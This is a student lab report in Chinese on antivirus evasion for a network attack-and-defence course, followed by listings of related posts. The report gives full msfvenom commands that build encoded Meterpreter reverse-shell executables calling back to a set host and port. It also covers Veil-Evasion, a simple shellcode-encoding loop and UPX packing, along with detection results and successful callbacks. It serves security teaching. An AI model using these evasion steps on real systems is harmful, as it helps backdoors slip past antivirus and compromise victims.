20155202张旭 Exp3 免杀原理与实践
20155202张旭 Exp3 免杀原理与实践
AV厂商检测恶意软件的方式主流的就三种:
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
我们要做的就是让我们的恶意软件没法被这三种方式找到,也就是免杀。具体的手段有:
改变特征码
- 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码
- 加壳,使其无法进行逆向,比对病毒库中的特征码
改变行为方式:
- 如果你手里只有EXE
- 有shellcode(像Meterpreter)
- 有源代码
改变行为
- 通讯方式
- 操作模式
- 例如之前注入所用到的反弹端口连接
非常规方法
基础问题回答
免杀是做什么?
- 防止被杀软检测出来
免杀的基本方法有哪些?
- 1.改变特征码
- 2.加壳
开始实验:
1.Msfvenom使用编码器
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。
编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
一次编码;
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.110 LPORT=5202 -f exe > 20155202.exe
很遗憾,刚生成就直接被360删除了
然后测试10次编码,发现并没卵子用。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.110 LPORT=5202 -f exe > my_v1-10.exe
2veil-evasion
我不会告诉你我安装了一天的。
这是一个和
Metasploit
类似的免杀平台,Kali里没有
在Kali终端中使用sudo apt-get install veil
安装安装完成后继续安装
Veil-Evasion
,好像像那么回事后面好像是在安装
python
?但是好像出过错,所以我最后直接删除了pythen.
安装完成后,我发现和别人的都不一样,最后我抱着破罐子破摔的心态veil进入程序,然后一路按no,结果居然出现了正确的界面。
在终端中使用``````veil
命令进入应用,输入
use evasion进入
veil-evasion输入
use python/meterpreter/rev_tcp.py```,然后设置回连IP和端口,生成后门文件:真的尴尬,居然出错了,很绝望,好在这时候我看了5201同学的博客,发现只要将
use python/meterpreter/rev_tcp.py
改成use c/meterpreter/rev_tcp.py
后面一样,然后生成了可执行文件,所以说大佬永远是大佬。看看
Viruscan
的扫描结果怎么样吧,这一步我并没直接找到生成的文件,我用了cp -r 要复制的文件夹绝对地址 /root
命令,将那个文件夹复制到主机root
目录下,取出来了.exe
程序扫描。
比MSF进步了一些,但是还是有8个引擎检测出来了有后门。
- 尝试回连,回连成功,并且进行录音:
360不得不说称得上王者啊!!!!
3. C语言调用Shellcode
Windows环境编译
win7虚拟机不支持vs,所以这个实验被迫在关了360的主机上做的,说实话,崩了好几次,、在VS里编辑编译。
编译好后又无情查杀
回连先ping通,然后再做是没有问题的
还是一样用Viruscan和360扫描一下
真的是好了不少啊。
4,.通过组合应用各种技术实现恶意代码免杀
- 我的加壳免杀很简单,因为我认为如果一个算法很优秀,并不是以它的复杂程度来判别的,我运用了上一步中的
shellcode的基础上加上了我对每一位进行加一运算
,出来了一个很丑的东西,我的算法是这样的:
int main()
{
int i;
char a[500];
for(i=1;i<500;i++)
a[i]=met[i]+1;
for(i=0;i<500;i++)
printf("%x",a[i]);
}
经过一番细心梳理后完成了对其的编译,看,是不是很漂亮:- 然后去查杀一下 ,看看是不是很优秀,其实我还是很谦虚的,0%的报错,安谁电脑里都会很难受吧他们哈哈哈哈。
4.加壳处理
- upx是一种压缩程序,可以实现加壳的功能,该指令加壳的命令格式是:upx #需要加壳的文件名 -o #加壳后的文件名
- 检测一下查毒功能
- 还是有一些软件能查到,但是360却不报错,真的是神奇
- 经过测试回连成功,图片忘保存了嘿嘿。
离实战还差哪些技术或步骤
- 如何自动在别人电脑上把自己加密过的病毒解密释放仍然是一个问题,现在的实验归根结底还是自己把东西拷到别人机器上,别人的ip地址都获取不了,何谈后面的一切?
实验体会
- 这次实验真的是花了两天时间,veil的安装问题百出,好在最后成功运行,这次实验分了四个阶段,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!
20155202张旭 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- ionic1 项目微信支付
使用的插件参照地址:https://github.com/xu-li/cordova-plugin-wechat:(这里包含微信登录,微信分享和微信支付) 插件安装 cordova plugin ad ...
- SD从零开始21-24
[原创]SD从零开始21 输出(Output) 销售的输出类型Output types in SD Output是用于和商业伙伴及系统交换信息的通信方式:你可以为不同的销售凭证如报价单,订单,交货单, ...
- 关于Dynamics CRM 安装用户权限的说明
做了这么多年的CRM项目,但发现部分客户的IT安全监管很严格,在CRM系统安装时,要求给出系统安排账号的权限. 这时小伙伴们 坚持不住了~~ 天天都是用域控的admin操作,这个时候问我要什么权限,于 ...
- CentOS7上Python3.5安装
CentOS7上Python3.5安装 1.下载 https://www.python.org/ftp/python/3.5.2/Python-3.5.2.tgz 2.上传到服务器 3. yum in ...
- Kubernetes+Docker的云平台在CentOS7系统上的安装
Kubernetes+Docker的云平台在CentOS7系统上的安装 1.运行VirtualBox5. 2.安装CentOS7系统. 注意:选择Basic Server类型 安装过程略. 3.修改计 ...
- JSP基本语法总结【1】(jsp工作原理,脚本元素,指令元素,动作元素)
时隔半年,回头对jsp复习整理一下,温故而知新. jsp工作原理: jsp服务器管理jsp页面分两个阶段:转换阶段(translation phase)和执行阶段(execution phase). ...
- Python+Selenium笔记(六):元素定位
(一) 前言 Web应用以及包含超文本标记语言(HTML).层叠样式表(CSS).JS脚本的WEB页面,基于用户的操作(例如点击提交按钮),浏览器向WEB服务器发送请求,WEB服务器响应请求,返 ...
- 如何使用 Swift 开发简单的条形码检测器?
[编者按]本文作者为 Matthew Maher,主要手把手地介绍如何用 Swift 构建简单的条形码检测器.文章系 OneAPM 工程师编译整理. 超市收银员对货物进行扫码,机场内录入行李或检查乘客 ...
- python 多进程和多线程的区别
了解线程和进程 进程 程序:磁盘上的可执行二进制文件,并无运行状态. 进程:就是一个正在运行的任务实例(存活在内存里). 获取当前电脑的CPU核心数: pip install psutil >& ...
- laravel 实现思路以及各组件原理
laravel 内核是个IOC容器,IOC是把本来自己实例化的对象. 通过在容器里注册,通过容器来进行实例化. laravel队列用的是redis的列表来实现.